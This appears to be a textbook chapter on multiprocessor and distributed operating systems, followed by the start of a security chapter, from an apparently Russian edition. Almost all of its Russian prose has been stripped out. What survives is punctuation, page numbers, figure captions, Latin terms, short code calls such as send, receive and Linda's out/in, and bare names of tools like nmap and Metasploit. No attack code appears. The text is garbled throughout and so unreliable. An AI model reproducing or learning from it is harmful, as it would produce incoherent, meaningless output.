.
, 32 64 .
,
.

580

8.

. 8.2. : -; -;
-

. 8.2, -.
, ,
.
-, ,
, .

8.1.

581

, , 32 64 .

, (cache line), -.
-
( )
( , , ).
, , ,
. ,
,
, ,
. - ,
,
,
.
(cache-coherence protocol), .
. 8.2, . , ,
.
, ,
, ,
.
.
,
, .

UMA-,


UMA- 16 32 .
, .
n k
(crossbar switch) (. 8.3). ,
.
() ()
, ,
,
, . . 8.3, ,

: (001, 000), (101, 101) (110, 010).
.
,
.

582

8.

. 8.3. : ;
;

:
(nonblocking network), ,
- ( ,
). . , .
, .
, , ,

. - , . 8.2,
n n .
, n2. 1 .
. ,
, .

UMA,

. 8.4, , 2 2. .

8.1.

583

, ,
.
(. 8.4, ). Module () , . Address () .
Opcode ( ) , READ WRITE.
, Value () ,
32- , WRITE. Module ,
X Y.

. 8.4. 2 2: , A B, , X Y, ;

2 2 (multistage switching networks), Adams et


al. (1987), Garofalakis and Stergiou (2013), Kumar and Reddy (1987).
, (omega network), -, . 8.5. 12
. , n
n log2 n n/2
, (n/2) log2 n , , n2
, n.

. 8.5.


(perfect shuffle),
, ,

584

8.

. , , 011 110.
READ 1D, Module 110. ( ) 110
. 0,
, 1, .
1, 2D.
, 2D,
. 1,
3D. , 0.
, , , 110. , ,
. 8.5 a.
. ,
, . a
0 ( 1D), 1 ( 2D) 1 ( 3D).
011,
.
001 001. : ,
, b. , Module 001,
.
, , .
, , 000
000. 001 3A.
. ,
(blocking network). .
, .
.
. , , - , 32-
. 00,
.
. , ,
(interleaved).
, .

,
.

8.1.

585

NUMA
UMA , , ,

, .
, - .
. NUMA.
UMA, , , , .
, UMA, NUMA-,
, UMA-.
NUMA- ,
:
1.
.
2. LOAD STORE.
3. , .
( ), NC-NUMA (No Cache-coherent NUMA NUMA
). - CC-NUMA (Cache-Coherent NUMA NUMA ).
CC-NUMA (directory-based
multiprocessor). , ,
- . - , ,
. , ,
, .
, , () , 256 ,
16
, .
232 , 226 - 64 .
, 016 M 0,
16 M32 M 1 . . , . 8.6, .
218 64- -, 224 . ,
.
, , LOAD
20, -. ,
, (MMU),

586

8.

. 8.6. , 256 ;
32- ; 36

, 0x24000108.
MMU , . 8.6, .
36, 4 8. , , , 36, 20,
36, , 4 , , .
36, . ,
218 , -, 4. . 8.6,
, , 4
, 20 4,
, 20.
, 2 36. . 8.6,
, 82.
, ,
20, 82,
20 . ,
.
, .
16 218 9

8.1.

587

. , 9 218 16 ,
1,76 %, ( ,
, , , ).
- 32 , 4 %. 128 1 %.
, . ,
- , , , . , . 1 ,
, 0 .
,
. .


,
.
Intel (Gordon
Moore), . 1974 Intel 8080
2 , Xeon NehalemEX 2 .
: ? 1, , -, .
, , - 432 . ,
-
99 99,5 %,
.
( ) , (cores). , ,
, , .
, . -
-. , Intel Xeon 2651
12 , 24 . 12 32- L1,
32- L1 .
256- L2. , 12
30- L3.
, , - (. . 1.8), ,
,
.

588

8.

, , ,
.
(snooping).
.
(Chip-level MultiProcessors (CMP)).
CMP , .
.
,
. 8.2, , AMD, . 1.8, . -, Intel
. 1.8, , . (L2 L3) . -, ,
-,
. - , .
, CMP , . -

, .
,
, (system on a chip).
, , - , ,
. ., .


,
,
(Manycore chips), ,
, . , , ,

, .
, Intel Xeon
Phi, 60 x86-.
. , 1000
. , ,
, .
, ,
, , ,
.

8.1.

589

, .
, . ,
,
, . ,
.
(coherency wall).
, , .
, ,
1024 128 ,
, . ,
.
, ,
, , , . 48-
Intel, SCC,
.
, -
. . ,
1024 64 ,
16
.
. (GPU),
,
.
. ,
, .
,
. .
.
(, ), .
(GPU) , ,
. ,
(general purpose, GP) (GPU),
, GPGPU. ,

,
OpenGL CUDA, NVIDIA.

590

8.

, , , ,
,
. , (,
).



.
. ,
, .
IXP, Intel 2000
.
(,
ARM-, Linux) , . ,
. ,
, ,
.
( ),
.
, . IXP ,
.
. . ,
, ,
,
, , .
, , , . ,
, ARM- big.LITTLE.


,
. , .

,
. ,

8.1.

591

, . ,
,
, ,
. .
: ,
, , , .
. , .
,
, .

8.1.2.

, . ,
. ,
, , .




.
n n .
,
, . 8.7,
.

. 8.7. ,

592

8.

, , n ,
-,
. ,

. , ,
, ,
.
.
. -,
,

.
-, , ,
. .
1, . , ,
1 , 2
.
-, .
, 1 , 2 .
1 2 - .
-, ,
,
. ,
-
, . , .
, .
, ,
- .
,
. -
. ,
. ,
, (
).
.

8.1.

593

,

. 8.8. , 1. 1.
, ,
. ,
1 , .

. 8.8.

.
(, ), .
,
1 , , .
,
. ,
, ,
.
, ,
,
. , , 10 %
, 10 ,
20 . ,
,
.


(Symmetric MultiProcessor (SMP)).
,
. , ,
. SMP . 8.9.

594

8.

. 8.9. SMP

, . ,
, , . ,
, . ,
.
( ),
.
, . , . ,
,
. (big kernel lock).
. , 10 % . 20 ,
.
, . . ,
, , ,
, .

, . ,
.
. , , ,
. , ,
fork, .
, , .
.

8.1.

595

. ,
,
, ,

- , . ,
, ,
, ,
, .
, , .
A B
A, B,
.
,
. ,
,
, .
, .
,
, . ,
,
. - ,
.

8.1.3.
, ,
. , .
, . ,
.
. ,
, ,
.
, .
. , -,
.
-
,
. . 2.16 TSL (Test and Set
Lock ) .

596

8.

, .
1 ( ) .
,
. TSL ,
, .
, . . 8.10
,
1000, 0. 1
1 0. 2, 1 1,
2 , 0. 3
1 1. 4
2 1 .
TSL 0,
.

. 8.10. , TSL .
,

TSL ,
, , . ,

, . ,
.
,
. , , ,
TSL .
(Peterson, 1981).
TSL .
- (spin lock),
,

8.1.

597

. ( ), , ,
,
.
,
, . , ,
.
,
. , , , ,
,
.
, 32 64 . ,
, ,
. TSL ( ), ,
. TSL ,
, ,
.
, ,
. , ,
, ,
, ,
,
.
, TSL
, , . , , ,
. , ,
TSL, .
,
.
,
,
.
, ,
.
.
,
, , ,
TSL . , ,
TSL, .

. - ,

598

8.

, . ,
, ,
.
(binary
exponential backoff), Ethernet (Anderson, 1990). , . 2.17, .
. ,
, .
,
.
.
,
TSL, .
,
, ,
(. 8.11) (Mellor-Crummey and Scott, 1991). , .
, ,
, , .
, , , ,
.
. ,
, , . . ( ,
) .
.

. 8.11. ,

8.1.

599

, ?
, , , , , .
, ,
. , , - , .
,
, , , , .
, .
. ,
-
, , , . ,
, , . ,
,
, , .
, ,
.
, ,
, . .
. ,
, ,
, . ,
,
.
TLB.
,
.
, , .
, , , 50 , 1 1
, , . 10 ,
. ,
,
: ?
, .
: , ,
. , ,
, ,

600

8.


. ,
. .
(Ousterhout, 1982).
, , ,
. . , ,

.
.
,
,
. , , 1 ,
2 , , .
, 200 , , ,
2 . ,
2 ,
.
, x86, , .
, MONITOR/MWAIT x86
, - . , MONITOR
, . MWAIT , -
. ,
.

8.1.4.
, , .
, , : , .
,
.
, :
.
, ,
, , , .
,
.
-.
, .

8.1.

601

, , , (
). , , ,
, , .
, , .
. :
?
. ,
.
.
,

. , .
, . , ,
, .
.
, ,
,
.
, .
make. , make
, - , .
, , .
make ,
,
. ,
, , .
,
, .
, , , , ,
, . , . , NUMA ,
.


,
, .

602

8.

,
, , , ,
(. 8.12, ). 16 ,
, 14 , . , ( ), 4,
A,
(. 8.12, ). 12, B (. 8.12, ). ,
.

. 8.12.

, , ,
.
, , . : ,
, ,
-.

. ,
. , -
. ,
-, ,

8.1.

603

. - ,
, , , , ,
.
,
(smart scheduling), , , , , ,
- (Zahorjan et al., 1991). , . ,
-, .
, , ,
, . , A
k, - , A. A
,
k, A .

, , . , TLB , TLB.
(affinity scheduling) (Vaswani and Zahorjan, 1991).
, .
(two-level scheduling algorithm).
, ,
. .
.

. - .

. , ,
.
. -,
. -,
.
-,

, ,
, .

604

8.


, - .
make. ,
. ,
, .

(space sharing).

. , . ,
.
, ( ) . ,
, .
, ,
.
-,
, ,
. .

, . , . 8.13 , 4, 6, 8 12
.
.

. 8.13. 32 ,

.
,
.
,

8.1.

605

, , .
,
. , ,
, (Krueger et al., 1994).

, ,
.
. , ,
(Tucker and Gupta, 1989).
, ,
.
. , -
5, 10, 20 .
- 10
,
, , , .
, ,
, . 8.13.


, , ,
. ,
, . ,
, , ,
, .
, ,
, A0 A1, A, B0 B1, B.
A0 B0 0; A1 B1 1.
A0 A1 .
, A0 A1 , A1 A0 ,
, . ,
A0 B1, . 8.14.
0 A0 A1 , A1 , 1 100 . , A0
, 200 .
200 ,
.

606

8.

. 8.14. ,
A

, (Ousterhout, 1982).
:
1. .
2. , .
3. .
,
. ,
, . 8.14.
.
. .
, ,
.
. 8.15. , ,

. 8.15.

8.2.

607

A E, , 24.
0 A0 A6. 1
B0, B1, B2, C0, C1 C2. 2
, D, E0.
, E, 3.
, 4 0 . .

, , ,
, ,
. . 8.15 A
,
,
, . 8.14.

8.2.
, ,
. ,
. , ,
.
, , . .
- .
, ,
, . ,
. 8.1, , . , (cluster
computers) COWS (Clusters of Workstations ).
, ,
.
,
, , . , .

(., , . 8.1, ). ,
, , ,
.
, ,
.
, .
, . , .

608

8.

8.3.1.
, ,
, . ,
, . (headless workstation), .
,
, - .
- , -,
- ,
, .

.
.


,
( ) .
, . ,
(. 8.16, ) .
Ethernet.

, ,
, (. 8.16, ). ,
.
(grid) (mesh (. 8.16, ).
.
,
. (. 8.16, ), .
, ,
.
(. 8.16, ) . 2 2 2, k k k.
. 8.16, ,
.
(. 8.16, ) ,
, .

. . n-
. , .
, 2 .

8.2.

609

. 8.16. : ; ; ;
; ;

, 10- 1024 ,
10, .
, 1024 , 32 32,
, 62, . , ,
, , ( ),
.
.
(
) , . ,
(store-and-forward packet switching), ,
- (. 8.17, ). , ,
, (. 8.17, ).
(. 8.17, ) , -,

.

()
. ,
, . 8.17, T .
1 2

610

8.

. 8.17.

( A, C, D , , ), ,
, 4T.
,
.
, , . -, .
(circuit switching)
. ,
.
. , ,
, .
, .
,
(wormhole routing), ,
, .


,
, .
.
,
Bhoedjang (2000).

. ,

. ,

8.2.

611

, , .
,
- ,
.
. . 8.18.
. .
,
. (,
PCI) .
PCI, ,
-.
,
.

. 8.18.

DMA-
(, ,
). DMA-


. , ,
.
, ,
DMA-. (network processors) (El Ferkouss
et al., 2011). ,
: ,

612

8.

( ),
( ), -, .

, .
, .
, , -,
. ,
TCP IP.
.
:
, -. , , . , ,
, TLB . . ,
.
, ,
.

8.2.2.

. ,

( )
.
. . ,
, ,
,
. , ,
, ,
. ,
, ,
. . 8.18.
,
. ,

,
.
, .
, , ,
?
?

8.2.

613


, , ? ,
A, B,
A B , ?

, .
, A ,
B , .
- , , , ,
. , ,
, , .
,
, - (,
, ).
,
, , . . ,
, . ,
, .
: ,
, ,
, .
.
, . , Intel I350
8 8 . ,
(affinity) . , ,
.
TCP
( ),
TCP (IP- TCP-)
,
. ,
.


.
DMA,
.
, DMA ,

614

8.

,
-. ,

. ,
, .
, ,
DMA , .
, ,
DMA ,
,
.
,
, .
, ,

. , , 64 ,
, ,
. , , 1 ,
. . , ,
.


. ,
. ,
( ) , .
,
, ,
, .
. , ,
.
.
(Remote Direct Memory Access (RDMA)),
. RDMA ,

.
RDMA , .
DMA,

8.2.

615

, . ,
, .
RDMA- .
, . ,
.
.
.


. 1 1 1 , , .
.

8.2.3.

, , .
. ,
, .
, .
.

Send Receive
, ,
. , ,
:
send(dest, &mptr);

:
receive(addr, &mptr);

, mptr,
, dest, , .
, .
, , mptr,
. addr , .
.

616

8.

, .
, , addr ,
:
. ,
.


(
). send, . ,
( ). ,
send, ,
(. 8.19, ). receive
, , .
receive , ,
. , ,
, , ,
.

. 8.19. send: ;

(
). send ,
, , . , -

8.2.

617

,
( ,
).
( , ),
,
.
, , :
, . ,
. , , ,
, , ,
. ,
.
.
(. 8.19, ) , , . :
,
. , , . ,
.
,
, , .
.
( ),
, ,
. , ,

, .
,
, .
, .
,
, . , ,
- . ,
, , , ,
.
, :
send ( ).
send ( ).

618

8.

send ( ).
( ).
, . ,
, . ,
. : . 8.19, . 8.19,
, ,
.
, ,
. ,
, ,

(Andrews, 1991).
, , , .
receive , send, .
, .
, . receive , ,
. ,
.
, , ,
, poll, , -
. , get_message,
.
poll , ,
, .
,
. (pop-up thread). , .
.

, . ,
, . ,
.
.
(Von Eicken et al., 1992). ,
.

8.2.

619

8.2.4.

,
: , , - . send receive, , -, - .
,
(Birrell and Nelson, 1984),
.
( , - ), . ,
.
,
, .
, , ,
.
.
, - -. (Remote Procedure Call (RPC))
, . ,
, .
, RPC, ,
. ,
, , (client
stub). ,
(server stub). , , , .
RPC . 8.20. 1
.
, . 2 ,

. (marshaling).
3 ,
. 4 ,
(, , receive). , 5 , .
, .
, , ,
( )
, ,
.
, .
-

620

8.

. . , -
send receive
.

. 8.20. ;


RPC, . . . ,
,
. RPC
, .
, , . ,
k. k .
k .
, k , k , ,
.
. ,
: , ,
. .
, , C,
,
() . ,

8.2.

621

. : .
, .
printf,
( ), , , ,
. printf
- C .
, , RPC ,
C ( C++), .
.

. , , ,
.
RPC.
, .

8.2.5.
RPC ,
- . ,
,
, ,
(Distributed Shared Memory (DSM)) (Li, 1986; Li and Hudak,
1989). , (Cai and Strazdins, 2012; Choi and Jung, 2013; Ohnishi and Yoshida, 2011). DSM
,
, .
, . DSM
, . 8.1, .
.
LOAD STORE ,
, .
,
, . , , , .

, .
, .
DSM
. 8.21. . 8.21, , . . 8.21,

622

8.

. 8.21. :
; ;

8.2.

623

DSM, . . 8.21,
,
. ,
DSM.
DSM. DSM , .
,
DSM ,
, , ,
. . 8.22,
, 16 ,
.

. 8.22. , ;
0 10
; , 10

624

8.

, 0
0, 2, 5 9, .
. , 10
DSM, 10 1 0 (. 8.22, ).

,
, ,
, , , , ,
, , . ,
10 (. . 8.22) ,
0 , 0
, 1, (. 8.22, ). ,
, 0 1, 10
,
.
, ,
. ,
, . , , , ,
.
.


DSM .
, ,
( ). : ? 32 64 ,
. DSM
( MMU ), 1, 2, 4
. ,
.
DSM . ,
4096
, 1024 .
, ,
. ,
,
, ,
, .

8.2.

625

,
, .
,
, (false
sharing) (. 8.23). ,
A B. 1
A, . 2 B. , ,
.

. 8.23. ,

, , , , ,
, . ,
, , , .
.
,
,
. , , , .
, , 1 , 2 ,
.


,
.
,
. ,
, DSM,
, ,
, (MMU),

626

8.

.
, .
- ,
,
, , . , ,
, .
, , , ,
, . DSM
.
, , , .
,
.

. , ,
.

.
, .
,
,
, .
, .
, ,
, , ,
.
,
(Keleher et al., 1994).

8.2.6.
. , . , .
.
. 1
4, , . ,
,
. .
- ,
. , ,

8.2.

627


,
, . , , , ,
.
, .
, ,
,
, .

8.2.7.
,
- ,
,
. -
, ,
, . ,
. , .

(processor allocation algorithms).
( ).
. , , ,
.
,
. ,
.


, , , .
k,
. , .
,
,
. (
) k ,
(, -

628

8.

).
, , , ,
. , ,
. , ,
.
. 8.24 A I,
(, ).

. 8.24.

. 8.24, , A, E G 1,
B, F H 2, C, D I 3. , ( ), 30. . 8.24, ,
28. ,
,
, .
, ( ), (
).
, , (Chow and Abraham, 1982; Lo, 1984; Stone
and Bokhari, 1978).

,

. ,
, , .
, - . ,
(
). , (Eager et al.,

8.2.

629

1986). , . . N
,
. ,
, . 8.25, , , .

. 8.25. ,
; ,

(Eager et al.,
1986). ,
,
, .
,
,
, . ,
.

,

. 8.25, , , , ,
. ,
, , . ,
- .
, , . N
, ,
.
, .
.

630

8.

,
. , ,
,
. , , .
, , .
, , , ,
, . - ,
, .
, , , , ,
. ,
,
.
,
.

8.4.
,
. ,

. , .
, ,
, , ,
. .
,
,
. ,
, ,

, ,
. 1024 , , - ,
, , ,
,
. . 8.1 ,
.
- .
: ? ,

8.4.

631

8.1.

,
,

, , ,

. ,
, .
.
, . ,
, ,
,
, , .
. ,
,
, .
-
( telnet, ssh rlogin), ( FTP), (
-)
(, , ,
). , . , , FTP,
- , , , , . -
,
. , - , -

632

8.

, - -
, : , .
, , (), .

, .
, , -, .

UNIX, - . , , ,
.

. ,
(middleware), . 8.26.
, ,
, .

. 8.26.

, ,
. ,
.
, ,
Distributed Systems (Tanenbaum and van Steen, 2007).
,

8.4.

633

( ), ( ). ,
.

8.3.1.
,
. :
(Local Area Networks (LAN)), , (Wide Area Networks (WAN)),
, .
Ethernet, .
, , .
.

Ethernet
Ethernet, IEEE Standard 802.3, , .
Ethernet , , ,
. ( XIX
,
, ,
, .
1887 ,
, , .)
Ethernet , ,
, . ,
. 8.27, , (vampire tap).
, .
,
.

. 8.27. Ethernet: ;

634

8.

,
, .
Ethernet, , ,
- . , , ,
0 1500 . ,
, ,
.
, , .
, 0 T , . ,
, 0 2T ,
. , .
(binary
exponential backoff).
.
Ethernet
.
Ethernet,
, (bridges).
, Ethernet
, , .
Ethernet
(. 8.27, ). ,
, Ethernet .
,
, . ,
. ,
. . 8.27,
Ethernet ,
, .

ARPANET ,
. 1969
.
,

.
1970- ARPANET , . ,

8.4.

635

Ethernet, ,
.
: .
(hosts) , , , ,
,
, . (routers)
,

. (.
. 8.27, ), , .
,
. .
. 8.28 . , , , .
,
,
() . , , , ,
.

. 8.28.

. Ethernet

636

8.

, . , , ,
. ,
, .
.
, . , ,
, , ,
. ,
.
, , .
.

8.3.2.
( ) , . .


.
(conection-oriented service) ,
. -, ,
, , .

, , . , :
() ,
.
(connectionless service) . ()
, . ,
, . ,
. .
(quality of service).
,
. , ,
(acknowledgement packet), , . ,
, .
. ,

8.4.

637

, .
- , ,
.
: .
. 1
.
, . 2 K
, , , , 2048
- .
, , ,
.
, .
.
, , . .

, , .
. ,
, , . ( )
(datagram
service) , .
, . (acknowledged
datagram service). .
,
, .

. 8.29.

638

8.

(request-reply service), , ,
. , ,
, -. -
- :
, . . 8.29
.



. (,
), ,
, .
(, )
. , , (protocol). , ,
. .
Computer Networks, 5/e (Tanenbaum
and Wetherall, 2010).
(protocol
stack) . . , ,
, .

.

.

, , , -: IP TCP. IP (Internet Protocol) ,
64 , .
. .
, , .
, .
IP v4 v6.
v4, ,
v6. v4 40- ,
32- 32- .
IP-, . , 0 255,
, 192.31.231.65. , IP- .

8.4.

639

IP , IP .
IP TCP (Transmission Control
Protocol ). TCP IP
, . TCP . IP , ,
.
, , ,
. TCP
, .
.
, UNIX.
,
, . Ethernet, .
?
TCP-. , , TCP-, IP-.
Ethernet, Ethernet-, Ethernet.
(. 8.30).

. 8.30.

(
), IP-.
32- , DNS
(Domain Name System ), ,
ASCII- IP-. ,
DNS- star.cs.vu.nl
IP- 130.37.24.6. DNS-

640

8.

, : ,
@, DNS- (user-name@DNS-host-name).
IP-,
DNS, TCP-
,
. (user-name),
, .

8.3.3.

, , ,

. , (WWW, World Wide Web). -
1989 , (CERN),
.
:
, -. - , , ,
, . ., () -.
-
-, . , .
,
:
, (. 8.31).

. 8.31.

- , URL (Uniform Resource


Locator ), ,
, , , DNS-,

8.4.

641

: protocol://DNS-name/file-name.
http (HyperText Transfer Protocol ),
ftp . DNS- , .
, , , . URL- .
.
- , , -.
URL, , ,
, -. , URL http://www.minix3.org/getting-started/index.html. :
1. DNS IP-, www.minix3.org.
2. DNS 66.147.238.215.
3. TCP- 80 IP-
66.147.238.215.
4. getting-started/index.html.
5. www.minix3.org getting-started/index.html.
6. getting-started/index.html.
7. .
8. TCP- .

.
, , -,
, -, ,
, ,
.

8.3.4.

, , , .
, .
, .
, , .
,
, .
, , , .

642

8.


- (upload/download
model) (remote access model). (. 8.32, ) ,
, . ,
.
, .
, .
, ,
(. 8.32, ).

. 8.32. : -;

- ,
, .

, ,
, ,
.


. . ,
.
.
, , . 8.33. . 8.33,
, . . 8.33, , ( )
. /D/E/x
, .
. 8.33,
. , /D/E/x
1, 2. ,
(), ,
. 8.33, , .

8.4.

643

. 8.33. : ,
; ;

, ,
, .
,
, . 8.33, . .
,
, . , ,
, ,
. //,
, , , .

644

8.


,
. ,
. , (location transparency), , ,
. /server1/dir1/dir2/x , x
server1, , .
, . , .
, x , server1
. , , server2 .
x server2. , ,
, dir1
dir2 . ,
/server1/dir1/dir2/x /server2/dir1/dir2/x. ,
, , .
, ,
(location indenpendence). , ,
, . ,
(), , ( )
. - , ,
.
, ,
:
1. + , / / :.
2. () .
3. , .
, , . ,
.


, ,
. ,
read write ,
read (. 8.34, ). ,
read
write, ,

8.4.

645

write. , .
(sequential consistency).


. read write , .
,
,
.
, -. 1
, 2
, (. 8.34, ).

. 8.34. ;


.
. -

646

8.

. read
write : ,
, .
.
. 8.34, , , ( B
), . 1 ,
, read , , . ,
-, . 8.32.
(session semantics).
, ,

. , ,
, , .
,
, ,
.

-, .
,
. , , , ,
. ,
, .

8.3.5. ,

. ,
, ,
. (object)
, (methods). . .
, C++ Java, , ,
. ,
, CORBA (Common Object Request Broker Architecture
) (Vinoski, 1997). CORBA - ,
, (, ). CORBA ,

. , ,
, ,
, ORB (Object Request Broker ). -

8.4.

647

ORB CORBA , ,
.
CORBA- IDL
(Interface Definition Language)
. IDL
- .
,
, .
IDL (skeleton)
, . ,
CORBA ,
, .
CORBA , .
.
.
,
.
, , , . ,
, ORB-.
ORB-, .
RPC.
ORB- , . , ORB , ,
, , ORB ( TCP/IP, RPC, . .).
CORBA
ORB- , ORB . 2.0.
, IIOP (Internet InterORB
Protocol ORB- ).
CORBA- ,
,
(object adapter). , ,
, ,
.
CORBA . 8.35.
CORBA ,
, ,
, , .
CORBA ,
, .

648

8.

. 8.35. CORBA
( CORBA )

8.3.6. ,


, .
Linda ( -
, ).
Linda ,
(Carriero and Gelernter, 1986; Carriero and Gelernter, 1989; Gelernter, 1985).
Linda .
,

, . ,
(, . 8.21, ).
C Java. ,
,
. ( Linda , C.) C-Linda ,
, , ,
( ) ( ).

. 8.1 .
8.1. Linda
("abc", 2, 5)
("matrix-1", 1, 6, 3.14)
("family", "is-sister", "Stephany", "Roberta")

. , out, . ,
out("abc", 2, 5);

8.4.

649

(abc, 2, 5) . out,
, , , :
out("matrix1", i, j, 3.14);

,
i j.
in. ,
. in . , , :
in("abc", 2, ?i);

,
abc, 2 , (,
i ). ,
i . ,
in, ,
.
.
in . in, (template), () .
, :
1. .
2. .
3. .
, ,
, ( ), ,
,
.
, ,
,
.
, , , , .
, in out,
, .
-. , .
up S,
:
out("semaphore S");

650

8.

down :
in("semaphore S");

S (semaphore S) . ,
, -
.
out in Linda read, in, ,
. eval,
.
. Linda .

-
, ,
Linda - (publish/subscribe) (Oki et al., 1993).
, .
,
.
(,
), .
(publishing). , . , , (subscribe)
,
(wildcards).
(), ,
.
- . 8.36.
, .

. , ,
.
.
, , , , . ,
, ,
. .
, , .
,
.

8.5.

651

. 8.36. -

.
, -.
, .
- ,
Linda. , .
, , , :
x? , :
x.

8.4.

, . ,
, ,
, .
, . , Corey ,
(Boyd-Wickizer et al., 2008).
, ,
, . Barrelfish (Baumann et al., 2009) , , .


.

652

8.

. Fos (Wentzlaff et al.,


2010) ( ) ( ).
NewtOS (Hruby et al., 2012; Hruby et al., 2013)
, ( ,
Minix 3), (
).
. BoydWickizer et al. (2010) , Linux 48- , .
, . Clements et al. (2013)
, API .
, . ,
.

, .
,
Salomie et al. (2011).
.
,
. Viennot et al. (2013) ,
.
Lachaize et al. , Kasikci et al. (2012)
, .
, . Chen et al. (2013)
(power containers).

8.6.
.
: , , . .
, .
.
,
. ,

653

,
, .
.
,
.
, ,
.
,
.
, .
,
.
, .
, , , ,
, , .
,
.
.

, .
: , , .
(World Wide Web), CORBA Linda.

1. USENET SETI@home
? ( SETI@home
,
.) , ,
. 8.1, ?
2. , ?
3. , ,
200 MIPS, ,
400 ? , .
,
90 %. ,

654

8.

, ,
, 32 ?
4. , 2A 3B (. . 8.5). ?
5. , . 8.7?
6. , . 8.8, , , ,
, . 8.7. ?
7. enter_region 2.3, ,
, TSL.
8. .
.
,
-.
(, TCP) (, http).
? ?
9. SMP
?
10. TSL ,
, - , , ,
, .

TSL 50 , , , TSL.
32- ,
, 400 ,

-?
11. TSL . .
?
12. , TSL . , SWP, .
? ,
? , ?
13. ,
-. ,

655

5 . ,
, TSL.
10 , .
,
TSL, ? ,
,
.
14. .
TLB?
?
15. ,
. 8.16? ,
, .
16. (. . 8.16, ),
k k. ?
: k .
17.
. ,
.
. , , . , 8 8 8,
1 /?
18. , ,
. , 32- 20 ,
1 /. 64- ?
? ,
:
. ?
19. , , .
20. . , 1 .
5 / DMA 20
-. ,
DMA ?
21. ,
RPC ( ),
. : ,
, -

656

8.

. , ,
.
?
22. DSM , . .
23. , . 8.24.
, H 2 3.
?
24.
. , ?
, , .
25. Ethernet ?
26. . 8.26
.
?
27. . 8.29 .
:
) , ;
) -?
28. DNS- , cs.uni.edu sales.
generallwidget.com. DNS-
, ,
.
DNS,
.
29. URL- ,
80. ?
30. -, TCP-,
( HTML).
. ,
TCP- .
.
31. , ,
. ,

. .
32.
, ?
33. in Linda
.
, in.

657

34. . C, , .
clock times, , . ,
.
35. C , RPC-
printf, .
,
.
, ,
.
36. , .

, (creating_processor, start_time, required_CPU_time),
creating_processor , ,
start_time , required_CPU_time , ( ).
, , ,
. , ,
. ,
.
, . ,
. , ,
, N AJL , AJL N .

, AJL.
() .
,
N/3 AJL .
,
.
37. -
, . ,
- .
. ,
. ,

, ,
.
, ,
, , . -

658

8.

*.
() , . BEGIN NEW ARTICLE.
( ).
,
.
P S ( ),
.
. , ., . ( TCP.)

9.

, .
: (, ),
(,
), (, ) (, ). .
.
, . .
, .
, ,
. .
, -
( ).
.

. 1990-
, ,

-.
.

.
, ,
,
, .
, ,
, .
, .
,
, , ,
,
. ,
.
,
-

660

9.

. ,
, , . ,
- , , .
, , . ,
, ,
, , . ,
(, ).

. , , . Wi-Fi, ,
. Wi-Fi, . 2000
.
, ,
. ,

. , D A, E B . .
, :
.
, , ,
.
, ,
, . , , (, ,
, - 2048- ).
,
. ,
.
, (vulnerability).
,
, . ,
,
(exploit).
.
, ,
!
, ,
, .
. , - . ,
,
. . .
, , . , ,
( )

9.1. ,

661

. .
,
,
. , ,
, .
, . , .
( 9.1),
( 9.2), ( 9.3)
( 9.4).
( 9.5)
( 9.6).
. ,
. ,
,
, . ,
.
.
, ,
,
, . ,
, . ,
, , ,
, .

9.1. ,

.
.
, , , , ,
, ,
, .
(security),
, , ,
(protection mechanisms).
.
.
, .

662

9.

9.1.1.
, ,
: , .
CIA (Confidentiality, Integrity, Availability).
. 9.1 ,
, CIA (,
).
9.1.

(confidentiality)
. , ,
,
, .
, , , .
(integrity) , , , -
.
,
. ,
, ,
.
(availability) ,
. ,
(denial of service, (DOS)), . , -,
,
. - , , 100 , ,
10 000 , .
, , ,
, , .
, , ,
(authenticity), (accountability), (nonrepudiability),
(privacy) . , .
-
() .

9.1. ,

663

, . ,
, .
, . ,
, ,
.
,
. .

.
(black-hat hackers),
(white hats).
(Trojan horses),

.
,
.
, . ,
, ,
. .

, , , , (crackers), .
. ,
. , ( ) , . ,
, nmap,
(portscan) , .
, nmap,
TCP- .
, . ,
, , ( ),
, . , nmap
, , , (dual use). ,
dsniff,
.
Low Orbit Ion Cannon (LOIC) - ,
, , . Metasploit, ,
, . ,
. ,
, , , .

664

9.

( ):
, , , - .
,
, - (botnets), ( ) ,
. , .
, ,
. , ()
.
, .
.
, (bot)
(zombie). .
, .
,
, , LOIC .

. Maroochy Shire
, , . , Maroochy Shire , .

, ( ),
.
, -
, , ,
. ,
, .
. , Stuxnet, (Natanz), , ,
.
,
.
, , (privacy): ,
. ,
. ,
, , ?

9.2.

665

-
? ,

?
? , ?
, .

9.1.2.
,
? , , , (,
). , , , , (attackers), (intruders), (adversaries).

, .
: , , , , , ,
, , ,
.
, - (script-kiddie),
. ,
, (, , )
, , ,
.
,
. ,
, , ,
.

9.2.
.
. , PIN- 0000 password
, .
, . ,
, ,
. (
, ) ,
. , USB-
, ,
, , . .

666

9.

, , . , . , -, SQL.
, ,
( )
.
, , ,
, . , ( ) .
- , , ,
. ,
,
, (hardening) ,
, . :
, ,
. . :
,
, ,
, , . .

9.2.1. ?
,
,
. :
1. ?
2. , ?
: . ,
, ,
. , ,
. , ,
. -,
, . , , Microsoft , Windows
, SecureOS, ,
Windows,
Windows . Microsoft
(Fandrich et al., 2006), . . . .

9.2.

667

( ), , . ,

. ,
, .
. ASCII-. ,
. ,
ASCII- (
).
, Word,
.
.
, ASCII-.
? , , -
,
.
-.
HTML-, . , - (
JavaScript), ,
, .
, .
, ,
, ? - ,
. , -,
, .
, ,
, , .
,
.
,

, .

9.2.2.

(trusted systems), . ,

. TCB
(Trusted Computing Base ), ,
. ,
.

668

9.

TCB ( , ),
, (, SETUID
UNIX). ,
TCB, : ,
, ,
- . TCB
.

(. 9.1). , ,
, ,
. , , .
, .

. 9.1.



. . 1.22 MINIX 3, POSIX- , , Linux FreeBSD. MINIX 3
10 000 .
. , , ,
. ,
, , ( ), .
, MINIX 3,
, .

9.3.

669

9.3.
, ,
. ,
.
.

9.3.1.
,
. (, , , ) (, , , ).
, ,
,
. read write, up down.
, , . ,

. , A F, .
, .
(domain) (, ).
,
. (rights)
. , , ,
, ,
. , , ,
.
,
. (Principle of Least Authority (POLA)),
. , , .
. 9.2 ,
(Read, Write, eXecute) . , Printer1
. File1 ,
.
- .
, ,
, . .
.

670

9.

. 9.2.

, UNIX
( Linux, FreeBSD ). UNIX
UID GID.
, UID GID,
, .
(UID, GID), (,
-,
. .),
(, , ). (UID, GID)
. (UID, GID)
, , , .
, UNIX : ( ). , .
. ,
,
. , .
exec ,
SETUID SETGID, UID GID. (UID, GID)
. SETUID
SETGID , . ,
.
, , .
, , . . 9.2 . 9.3.
, ,
.

, , enter. . 9.4
. 9.3, . 1 2, .
UNIX
SETUID. .

9.3.

671

. 9.3.

. 9.4.

9.3.2.
, . 9.4, -
.
, ,
.
: ,
. , .
, .
, , , .
